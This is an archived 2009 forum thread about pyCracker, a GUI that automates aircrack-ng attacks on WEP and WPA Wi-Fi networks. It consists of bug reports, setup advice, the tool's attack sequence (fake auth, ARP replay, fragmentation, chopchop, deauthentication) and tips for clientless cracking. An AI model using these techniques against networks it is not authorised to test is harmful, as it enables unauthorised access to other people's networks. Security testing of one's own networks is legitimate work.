pyCracker - A GUI for aircrack-ng suit! [Archive]

Sprut1

January 25th, 2009, 10:35 PM

This is a program I've been working on. It bundles all the aircrack-ng programs into an highly functional GUI. This IS an alpha release and I expect several bugs, thats why I need help testing.

Google code page: http://code.google.com/p/pycracker/

For those who don't know what aircrack-ng is, can read about that on http://www.aircrack-ng.org or in wiemans how-to, here: http://ubuntuforums.org/showthread.php?t=528276 - in short they are applications used to sniff packages with a wireless network card and crack wireless access points. Remember that cracking other peoples networks are highly illegal and this should be used to test your own networks security only.

Okay so this is what you need:

- Python runtime
- wxPython (wxwidgets 2.8)
- aircrack-ng suit (http://www.aircrack-ng.org)
- Patched networking drivers (read about this on http://www.aircrack-ng.org)
- root access
- some available space for .cap files
- My program, see attachment.

To start the program enter a terminal and navigate to the folder where you unzip the application, then simply

"sudo python pyCracker.py"

Which then should launch the application. Please refer to the read-me under Docs folder if there are any questions at this point, or post here.

Now simply go to "Networks" and select a network, then click crack. The aircrack-ng program will launch according to the IV count you define under "Setup" tab. Please use wiemans how-to to learn how the aircrack programs work, if I explain everything here the post will be extremely long.

If there are any errors/bugs (I expect there to be plenty) please post the following:

- Screenshot if possible (A picture can say a thousand words)
- /Logs/Debug.txt (This is logged by default, please don't turn off)
- Anything that is printed to the terminal of which the program was run.
- Otherwise just a comment on what was going on and what the results where when the error inflicted.

I would like to thank tturrisi, unutbu, minimammut for helping out so far and wieman for the great tutorial. Happy cracking all!

By the way, if any python experts look at my code, please give me pointers, I started learning python like 3 months ago :)

Edit: Smilies owned me.
Edit2: I'll add screenshots tomorrow, they are also available at wiemans tutorial if anyone want to see them.
Edit3: Added screenshots.

Changes:

13.3.2009
- 0.0.7.1-alpha was uploaded to http://code.google.com/p/pycracker/downloads/list
- Removed the attached version as its outdated.

Yes, I'm aware of that. I've got an IPW2200, so it should work after patching the drivers.

Cool! :)

I'm currently trying to get aircrack working again on my PC, but am having problems with the drivers (at least I think it's the drivers).
I managed to do it once, and now that I want to demonstrate it again it doesn't work anymore. :(

Will you implement an easy driver installation system as well? or at least injection testing?

1. I cannot put my adapter into monitor mode using the Monitor button. Creating a managed device fails as well.

This is not yet available (I forgot to remove the menu, sorry about that). The reason for that being is that you can't yet start a cracker manually, without selecting one from the list. If you put an interface in monitor mode this list won't show as you cannot scan networks.

2. If I have my adapter in managed mode and launch the program, I can select a network to crack and my adapter automitacally goes into monitor mode. This is good. But the program fails.

Selecting a network from the list and start cracker from there is the preferred way at this time being, I can see that it worked great and there are actually so far no problems with my application. Simply you got a list of programs that already are using the interface and can (did) cause problems. Before using my application please stop network manager and look into the processes that were listed to you; "dhclient3". If this doesn't work please post back.

3. The Stop button does not work for me. To stop, I must select another network to crack and I get alerted that a crack is in progress...stop it...yes or no.

This was caused by a bug in code and should be fixed with next release. Quitting the application should also stop cracking, you can check system manager to clarify this.

I don't think driver installation will every be a part of the program. Injection testing on the other hand will be implemented in near future.

1. I do not have network-manager installed at all, never did, never will. IMHO it's a piece of buggy crapola.

2. dhclient should not interfere at all, if it does, then s/g else is bugged. It can be loaded while I use aircrack or airoscript from a term w/ no problems.

I'll try killing it & retest.

Okay then, well either way the messaged is printed from one of the aircrack-ng programs, I did a search and to me it looks like something is using the interface which causes the error. Try starting airodump-ng and do some deauths with aireplay-ng from the terminal (this is basically what my application tried to do when the messages appeared).

Please check this:

sudo airmon-ng check wifi0

I found a list of more or less relevant processes:
* wpa_action
* wpa_cli
* wpa_supplicant
* dhclient
* dhclient3
* knetworkmanager
* network-manager. Process Name: NetworkManager
* network-manager-gnome (is this the real process name?)
* NetworkManagerDispatcher
* RutilT (ralink NM)
* netcfg2
* netcfg
* net-profiles

Whether this is correct information I need expertise help to confirm.

I tried it but had the same error as listed above, problem...

It is correct that some of those processes can interfere w/ airmon-ng. However, it depends on the procedure used, i.e. what type of attack is being implemented.

It appears that the attack you are using requires another clent be connected to the wlan, so it can be deauthed, else the attack takes a very long time when no other clients are connected to the wlan.

If you ever implement the various attack types, which can be selected prior to pushing the attack button, then we'll see very fast cracking occurring.

For example, a script I use implements a fragmentation attack followed by a chop chop attack. In this method, no other clients are necessary and the crack is fast. And the dhclient need not be killed.

example:

d830:~/scripts/ws# wlanconfig ath0 destroy
d830:~/scripts/ws# wlanconfig ath0 create wlandev wifi0 wlanmode monitor
ath0
d830:~/scripts/ws# ifconfig ath0 up
d830:~/scripts/ws# ./ws.tcl 8724 ath0 11

It is correct that some of those processes can interfere w/ airmon-ng. However, it depends on the procedure used, i.e. what type of attack is being implemented.

It appears that the attack you are using requires another clent be connected to the wlan, so it can be deauthed, else the attack takes a very long time when no other clients are connected to the wlan.

As I haven't yet implemented the attacking setup only deauth is used on available clients, but there shouldn't be any deathing involved unless there are any clients connected, I'll check if there might be a bug in code. I wrote deauth first as it is an really easy attack to perform.

If you ever implement the various attack types, which can be selected prior to pushing the attack button, then we'll see very fast cracking occurring.

For example, a script I use implements a fragmentation attack followed by a chop chop attack. In this method, no other clients are necessary and the crack is fast. And the dhclient need not be killed.

My plan is to implement ALL attacks and make the process as automated and efficient as possible, I just want to make the basics to get some successful runs from others before I continue expanding. I see now that it might be necessary to make other attacks as well, for example like you say chop chop and fragmentation attacks for client-less access points.

In next release I'll look into:
- Injection test (which is 99% done)
- Chop chop attack
- Fragmentation attack
- ARP request replay attack
- packetforge-ng

Automated attacks and manual attacks will be implemented in the future. The "Attacks" tab should have all necessary settings for the various attacks and under "Packets" you should also be able to initiate attacks using the Stations list for example.

Bug fixes:
- Stop button not working (caused by obvious mistake in code)
- Possible bug with deauth attack while 0 clients are connected.

There should be various other changes as well. I'll upload this weekend.

Thanks! The message you get is because pyCracker can't find your .txt file which has the information outputed from airodump-ng, this file reports what has been gathered in the .cap files. If the file doesn't exist airodump-ng hasn't created it yet, this is a result of no BSSID/Stations available. In the next release you will get an message in the BSSID/Stations list in pyCracker if this is the case.

Edit: Btw, I'm running late on the updates, Eclipse found out it didn't like Ubuntu 8.10, so I don't have a running IDE atm. In the meantime things will take somewhat longer time. I plan to upload sunday evening, if everything is working as it should, if not I'll wait until it does.

No problem, I just hope I don't fail midways :)

There are way too many networks that are unprotected, and by that I mean that doesn't use WPA2. I for one had no idea that WEP could be cracked that easily, I knew it was weaker than WPA1/2, but I had no idea it was this useless. About India, enforcing wifi security might be a bit drastic, but thinking about what *others* might do to/with your network is scary enough - most people just need to know the truth about what works and what doesn't.

The Indian police might find this handy! :P ;)

If there is anyone that at some point find this handy I will be satisfied :)

Now, concerning updates.
I have completed about everything I had planned for next release, but I haven't had time to test it properly, this will happen sometime this week. Instead of keep throwing releases out and getting a bunch of silly bugs reported back I'll test this version thoroughly. New features will be posted soon.

This is caused by bad code with bad (=none) exception handling, it will definitely be fixed in next release, sorry about that.

I still haven't had time to test the application, I've been traveling (job issues) and had little time on my hands. At the moment I'm working on:

- Threading: All attacks are supposed to run on their own thread, this will exclude lag from the main application/GUI. This was noticed with Deauthing in versions < 0.0.6.13-alpha1.
- aireplay-ng: Completely implemented. Deauth, fake auth, arp replay, chop chop and fragmentation should all work. Interactive packet reply (-2) is not implemented.
- Various bugs fixed and many smaller features added.

Future features, for those interested:

- airdecloak-ng
- Tkiptun-ng
- Cracking WPA1/2 using password dictionaries.

Again, I apologize that the process is moving slow at this time being.

By request I've created a project at google code and uploaded a new version - note that this version is barely tested as I haven't had time to do so yet. The new version is available here: http://code.google.com/p/pycracker/

Please report issues under the "Issues" tab, that way I can easily know whats wrong and start working on a fix. Thanks to all who have helped so far!

Hello everbody!

Could someone try to explain me why i have this problems? I've put pictures in attach.

I'm using an laptop with an Intel® PRO/Wireless 2200BG; i've manage to install aircrack-ng, python and patches and both pyCracker 0.0.6.13 and 0.0.6.42 are giving me the same error.

What should i do ?

Thanks

I just tried your script, downloaded from your googlecode page, and i get many errors, here they are:

1) Script can't find the locker picture, because of a wrong path, it can be solved by editing main script, and in line 105 replacing ""/home/stigi/Development/Eclipse/pyCracker/Icons/Main.png" by simply "Icons/Main.png"
2) The script can't find any network, i tested it with an alfa500 (rtl8187 driver) and with a dlink usb dongle (rt73 patched drivers), and it shows nothing.
3) The script seems to use an app named "wlanconfig" wich can't be found, even in the apt deposits.
4) It doesn't seem to support VAP interfaces, as when i put my alfa in monitor mode, it only shows the parent interface (shows it in managed mode), but not the one in monitor mode.

I hope this will help you improve this script, as it is a really a nice GUI, and if it worked well on every point, i'm sure it could become a very great script.

PS: a nice thing to add to your script would be also to support many attacks types, like frag&forge, chopchop&forge, -p 0841, and so on. (i actually wander what is the attack used in your script)

Don't give up this project ;)

1. The GUI is generated from wxglade and the absolute paths weren't fixed before I zipped and uploaded, I'll remember that next time.

2/3 iwconfig and wlanconfig is used for general network/interfaces actions - I'll see if there are any python ways of doing this (I have no clue if there are).

4. Again the information is coming from "iwconfig", but I'll check this.

All attacks are supposed to work, I'm not guaranteeing that they are though ;)

Do me a big favor and report all future issues on the code.google.com project page - that way I can easily manage them.

That means that the .txt report that's created alongside the .cap file isn't found - which means it hasn't been created or that the application is looking for the wrong file. I've had similar reports before, but never had the problem myself, I'll make better exception handling to rule out whats wrong. This will be resolved in the next release. Thanks!

When I execute wlanconfig in Ubuntu it asks if I want to install madwifi. I assume then that this is installed only if you have an atheros chipset.

If this is the case, I need someone to verify this, then I need to know how you manage your network interfaces. I thought wlanconfig was pre-installed and standard, but again, I need someone to verify this.

I suggest modifying this section TO ALLOW multiple instances of cracking the same wlan, spawned in a new terminal because airplay does have certain known issues injecting w/ madwifi drivers. Often, running a second airplay process gets injecting going at the desired rate.

Also, I've been testing the latest release. pyCracker seems to hang on deauth and never gets to airplay. Airplay "flashes" in the term for a split second then dies. I believe the reason it does this is because there are no clients to deauth and pyCracker is using only the deauth method of cracking, rather than frag attack or chop chop.

Once the other methods of attack are implemented I can test further.

I have not yet experienced the problem you are describing, but pyCracker is supposed to spawn several aireplay processes. And if you have checked the source code/changelog all attacks have been implemented, but I have not had time to test them so I'm guessing it just isn't working. And as I said before there should not be any deauthing involved if there are 0 clients. I must test everything out myself to see what the problem is. Thanks for testing once again!

Thank you! This has been discussed earlier in the thread - you must be very sleepy ;)
The problem is that when I make the GUI in wxGlade it generated the code using absolute paths to the pictures used in the application. Prior to uploading I must change them to relative paths like "Icons/Main.png" - which I forgot. You can easily do this yourself opening the .py file in any text editor and changing "/home/stigi/Development/Eclipse/pyCracker/Icons/Main.png" to "Icons/Main.png", or wait for the next upload :)

Nothing wrong in posting here, continue doing that! I'll be glad if issues are posted to the google code page as well. And concerning wxglade, you don't need that application to run pyCracker :)

I can see that a lot of people have downloaded pyCracker, this I appreciate! I do hope people are still interested and patient even though the development is moving extremely slow at the moment. Several issues has been discovered in the past weeks and there is a lot to do before I can call the application useful/steady. Thanks to everyone who have contributed so far!

I have another query. I currently have two wifi cards. The first is an Intel 2915abg internal that works great! The second card that I use for Wifi Auditing is a NetGear WG511T with an Atheros chipset. The issue that I'm running into is two fold. I can't switch between either one to use as a my main connection which in turn seems to keep pyCrack from using it as the monitoring card. It seems that pyCrack wants to keep using the intel adapter by default.
If it possibly helps I'm running an Alienware 51m 766. (Don't worry. I worked the bugs out of it :)

The drivers need to be patched so as to support packet injection when in rfmon mode. Without injects, the entire process would take days to complete.

How to patch the drivers:
http://www.aircrack-ng.org/doku.php?id=install_drivers

This is actually the hardest part of wireless cracking, but you should find all the info you need on the aircrack wiki (http://www.aircrack-ng.org/doku.php). :)

Note about clientless attack:
If you only have one PC + router and want to try out the clientless attack, I recommend connecting to the router with a cable to simulate a client and get the PRGA xor data by connecting/disconnecting the cable.
I wasted a lot of time because of this.
You should go for a standard attack first anyway. ^^

wxGlade automatically use absolute paths, this is not something I 'ordered'. I must have exported from wxGlade at some point and forgotten to change paths to relative.

Updated new version to google code which fixes this:

# Fixed the absolute path to pictures.
# PopulateLstPackets() will include the file its trying to open in its output this way I can see if its looking for the correct file. (The "File not found" bug when cracker is running).

Enormous updates, I know.

For the next releases what I'm thinking is rewriting/cleaning/optimizing code and making things that *are*; work. From what tturrisi told me it sounds like the whole new attack module isn't working, I won't update before it is, this means I need time to test it out myself (which lately has been hard). I bet that most bugs that are present at this moment is because of silly things I've done (which has been the case several times before). The main problem I've had lately is no time to code at all.

Thanks to everyone who have downloaded the code and tested it so far, bare with me!

Okay here's the news:

I've had some time testing today and I've figured out whats causing most of the problems with the attacks. All issues are posted at
http://code.google.com/p/pycracker/issues/list
if anyone wants to have a closer look. Basically this is what I found out:

- Deauthing is working like a charm
- Authenticate didn't work because it was executed missing the interface argument.
- ArpReplay didn't work because the aircracker class was passed wrong ESSID argument.
- Chopchop and fragmentation was executed correctly, but output was badly parsed and reported to GUI, they were not useful.

Everything will be fixed in next release.

New version uploaded today, we have now reached 0.0.7.1-alpha. You can find it here: http://code.google.com/p/pycracker/downloads/list

There are numerous updates in this release, key features from the changelog:

- Rewrote the Aircrack module
- Fixed when initializing a cracker; ESSID argument was wrong, and causing several errors.
- Stop button will now terminate all running processes spawned by pyCracker.
- Dictionaries when cracking WPA networks were implemented.
- pyCracker won't open 100 threads of aireplay-ng anymore, but complete one task before doing another.
- If wlanconfig is absent this will be reported and the 'Interfaces' tab is disabled.
+ many, many, many other updates.

# All attacks are now running automatically based on the progress. (Even interactive packet reply).

Attack process:
1. Test injection.
2. Authenticate
3. Arp replay
4. Fragmentation / chop chop
5.1. Generate packet
6. Inject generated packet
7. interactive packet reinjection
8. Deauth random station 15 times
9. try to crack key if IVs > IV count defined in settings

Everything seems to run fine, and I've tested just about everything, but I do expect bugs (they don't appear when I want them to). The number of downloads so far has been thrilling, I hope people continue to test pyCracker and report back issues / enhancements that could be made. Thank you.

Thank you for taking time to issue an issue report. What I have found out here is that sometimes when you hit the crack button (like starting airodump-ng in Terminal), no BSSID/Stations show up, when they don't airodump-ng won't create the .txt report which pyCracker is looking for - it's this file pyCracker is using to get the information printed under the "Packets" tab. I know this happens if you have one or more interfaces in managed mode as well as the one in monitor mode, this I can confirm concerning atheros cards. So try again using only 1 interface. The good news is that from the debug.txt and arp.txt reports Injection was working, chopchop was initiated, authentication worked, arp replay was started and it replied a huge amount of packets at an average of 500 pps. You have a good chance of making use of pyCracker.

pyCracker is supposed to automatically remove all other interfaces prior to starting a new cracker, but I know this sometimes is an issue, I have seen this myself. Normally I just start over and it works. In the next release I'll look into adding some delays to see if things are just happening to fast.

Edit: By the way, don't wait for 600+ lines, my experience is; if this happens just start over, nothing will change during those minutes. And also, look at the bottom of this page, here is the common problems with airodump-ng, which also confirms what I said.: http://www.aircrack-ng.org/doku.php?id=airodump-ng

Thank you! Thats exactly what I need. Seems like you replicated a bug already issued (Issue #12: http://code.google.com/p/pycracker/issues/detail?id=12). This will be fixed in next release *I think*, I've not noticed this myself so I can't guarantee. Thank you for helping out with the development!

This is not an error, simply you are missing wlanconfig which comes with madwifi drivers. If you don't have this program the "Interfaces" tab won't work, and you must set-up interfaces manually.

I have eeebuntu running on an EEEPC. I ran the script and it complained about 'wlanconfig' not being installed. After a google search I ran 'sudo apt-get install madwifi-tools'. Ran the script again and had a bit of a play. All seemed to be going well. Then I hit stop and exited the program. Now I have no wlan connection at all and when I type 'ifconfig', WLAN0 doesnt show at all!!! Rebooting doesnt fix it. How do I get it back???!!!

Same i also tried to get it to work on my eeepc701 running jaunty, i think it gets stuck in monitor mode after exiting the program and therefore cannot see the access points any more.

Not sure the cure i just did a reinstall as i had only installed it recently anyway.

I'm working on major GUI rewrites, porting it all to GTK+. I guess I could upload an fix for this, I'll look into it. Either way it will be fixed with the new release I'm working on, I guess sometime after Jaunty is released.

Thanks to tturrisi for explaining this for you. pyCracker doesn't revert any changes that was made on exit, I never claimed it did. I seriously doubt that any changes you as the user make using pyCracker will destroy your computer. Please read the documentation next time :)

Use the "Interfaces" tab to add and remove interfaces. If this don't work, please tell me or issue an issue report and I'll try to fix the problems.

Thank you all for testing pyCracker!

Out of interest how long does a typical attack take to gain the wep keys using pyCracker.

I've managed to get it working on my eeepc701 now, installed eeebuntu standard, rejigged it with madwifi drivers and everythings up and running.

Trouble is did a quick test on my router and it was saying like 29days or more for it to complete, obviously i declined at that point :o

I haven't tried out pycracker yet, but since it uses aircrack, I suppose it's pretty much the same:
Once you get a .xor file or once you captured an ARP request (not sure of the correct terms), it's cracked in about 5-10 minutes max. :)

Also, once you cracked it once, you can reuse specific files (like the .xor packet or the .cap files) and crack it quickly again.

The time to get the ARP request/xor packet depends on the traffic. The more traffic on the network, the faster it's cracked.
For your first tests, I recommend artificially generating an ARP request from another PC on the network by pinging some IP address (don't remember if it must be an existing IP or not). You may also disconnect/reconnect the PC from/to the network.

I tried a clientless attack once and was unable to get any arp requests or generate a .xor packet. So I cheated by turning myself into a client with a wired connection and connecting/disconnecting the cable. (Actually I did this on another access point configured with the same SSID/password so I didn't have to access the other AP I was trying to "crack". Surprisingly, the .xor packet generated this way worked on the second AP.)
Then I was able to get a .xor packet with which I successfully performed a clientless attack by fragmentation attack. :)

P.S: The aircrack site seems to currently be down. :(
Does anybody know what's going on?

KIAaze sums it up nicely here for you dazzler. I can't really say why it is saying 29 days, I must get the output of debug to see what is going on, if all attacks are firing and injection is working it should take way less time.

cf the original post:

Okay so this is what you need:

- Python runtime
- wxPython (wxwidgets 2.8 )
- aircrack-ng suit (http://www.aircrack-ng.org)
- Patched networking drivers (read about this on http://www.aircrack-ng.org)
- root access
- some available space for .cap files

You just need to install the python-wxgtk2.8 (apt:python-wxgtk2.8) package.

You'll also need aircrack-ng (apt:aircrack-ng) .

The patched networking drivers requirement is the hardest. I don't think there's a newbie friendly solution for this yet (someone should make debian packages of patched drivers ^^).
The best reference on patching drivers is currently down unfortunately: http://www.aircrack-ng.org/

Alternatively, you can try their forum http://forum.aircrack-ng.org/index.php or use google cache for example: http://209.85.129.132/search?q=cache:YFDbgQWu_0gJ:aircrack-ng.org/doku.php%3Fid%3Dcompatibility_drivers+aircrack+ath eros&cd=1&hl=en&ct=clnk&client=firefox-a

But if you're lucky, maybe you won't need to patch them.
Just tell us what wireless card you have and maybe we can help you. :)

Note: You could try the backtrack live-CD (http://www.remote-exploit.org/backtrack_download.html) since it's supposed to come with most patched drivers (didn't work for me :/).

Correct, and also; those who have no clue what so ever is probably using the software with the wrong intentions. pyCracker is simply meant to make the hassle of all the terminal windows and different command easier, and the process alot faster.

Okay, I said I was going to post screen-shots, so here they are. The design is pretty much the same, but optimised. The configure network screenshot shows the dialog where you can start a cracker using manual settings instead of selecting from the list, which should have been implemented a long time ago. The settings are now organised and removed from the tabbar, they way it should be.

I hope this teased those who have tried earlier versions of pyCracker.

I only have one network in range, my own, which I intend to use for testing and such. However, when I try to start cracking, the program tells me to put a network in managed mode. I saw someone suggesting I'd use the create function, but then I get an error with wlanconfig, "Error creating interface". In terminal it says:

Hello! This program looks like an awesome utility but I'm having a problem with it! Whenever I select a network and click "Crack" the program crashes out and Terminal displays the following:

/bin/sh: Syntax error "(" unexpected
/bin/sh: Syntax error "(" unexpected
python: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.0.

This displays after the program closes out. If I try to re-start the program after it crashes, it refuses to find any networks until I reboot the whole machine.

Another question I have is will this program crack both WEP and WPA/WPA2 networks or just WEP?

Thanks!

August 1st, 2009, 02:43 PM

No this app won't crack WPA crypto as that requires the capture of the 4 way handshake initiated when a client authenticates with the wireless router. The only way to capture that is to wait for client log-on or force a de-authentication of the client to produce the required log on.

I'm not even sure that the software writer(Sprut1) is even continuing with this app as he hasn't been here for some time ( May 16th)

thank you very much for your efforts on programming this. Can you tell us which programming language did you use to create this program ? I want to know which languages are there to create "Window" based software like yours.

Here's what he used: http://www.wxpython.org/

Python GUI alternatives:
http://www.pygtk.org/
http://wiki.python.org/moin/PyQt

All of those are wrappers for the following C or C++ libraries:
http://www.wxwidgets.org/
http://www.gtk.org/
http://qt.nokia.com/products

Another solution for GUIs is Gambas:

Hi Mate

Just testing our your excellent program - but have encountered the following error which dumped me:

lo no wireless extensions.

eth0 no wireless extensions.

wmaster0 no wireless extensions.

pan0 no wireless extensions.

lo no wireless extensions.

eth0 no wireless extensions.

I suspect it may have something to do with the Madwifi - but to be honest, I'm not a pro at this, so am unsure...

Any ideas?

Similar program, but more advanced and less buggy (though still buggy) is Gerix wifi cracker

Find it here:

http://backtrack.it/~emgent/hackstuff/Gerix-Wifi-Cracker-NG/index-en.html

There is a .deb down on the page. There is not much documentation available about it, but if you understand a little bit about wireless hacking it will be easy to get what it is doing. There are also some youtube videos with terrible music available ;)

Gerix wifi cracker should be included in the coming backtrack 4 release. An Os dedicated to hacking/testing. If you think that backtrack 4 will solve all your wireless testing problems, be warned. It is broken on weird parts, even kismet isn't working out of the box.

On the website they claim Gerix-wifi-cracker already is included in Backtrack 4 , but that is not the case. It is easy to apt-get it though since backtrack 4 is based on kubuntu(intrepid)

Backtrack 4 has a newer version of Gerix-wifi-cracker than you can find on their site, but still somewhat buggy

Dont forget that Python got its own built-in graphic toolkit, apt:/python-tk

I didn't know about that one, but it seems it's just a wrapper (or object-oriented layer (http://wiki.python.org/moin/TkInter)) for the tk toolkit (http://en.wikipedia.org/wiki/Tk_%28framework%29). :P
I only heard of tk with tcl before.

Thanks to joris1977 for the tip about Gerix. :)

I have a problem with this.

I run an acer aspire one laptop and use the ath5k driver. Now i can manually and quite easily crack my WEP network using the command line.

Now if i load pyCracker, I get the nice gui interface. I can select my network from the list, but when I hit the crack button the program exits. it almost seems like a problem with X as it complains that screen 0 is in use by another process.

You evil, evil person. Why don't you share your knowledge with others who may need it?

sudo python /usr/share/gerix-wifi-cracker-ng/gerix.py

Thank you for posting this great help.
Yes I have to agree. Why else do we use these forums but to either get or post help.

Hi all,

I do apolagize in advance if bringing up this old thread is against the forums policies.

I just want to say that the work on pyCracker, obviously, stopped in May 2009 because of hardware crash at my end. I do have some project files left and as I recall I ported the application to GTK before the project was discontinued. If anyone is interested I'll upload everything I have to google code.

I'm sorry for not replying on posts here on the forum and issue reports at google code as all feedback is most appriciated.

At this moment I am still working with python and reading python books as usual, but I don't have Ubuntu running on any machine and therefore not playing around with the aircrack-ng suite.

Thanks,
Sprut1

Would be awesome! Maybe someone will pick it up and continue it. Did anyone check out WEPcrack? I found it on the Aircrack-ng site, and it`s pretty well done.

what ever happened to this program? it seems like it would be pretty simple to script the functions and then ask for user input like ESSID or BSSID.

Wow rely nice the app Sprut1. I posted this on my site so more people can try it out. It's rely nice to have a little GUI for aircrack-ng even if I like a lot the command line.
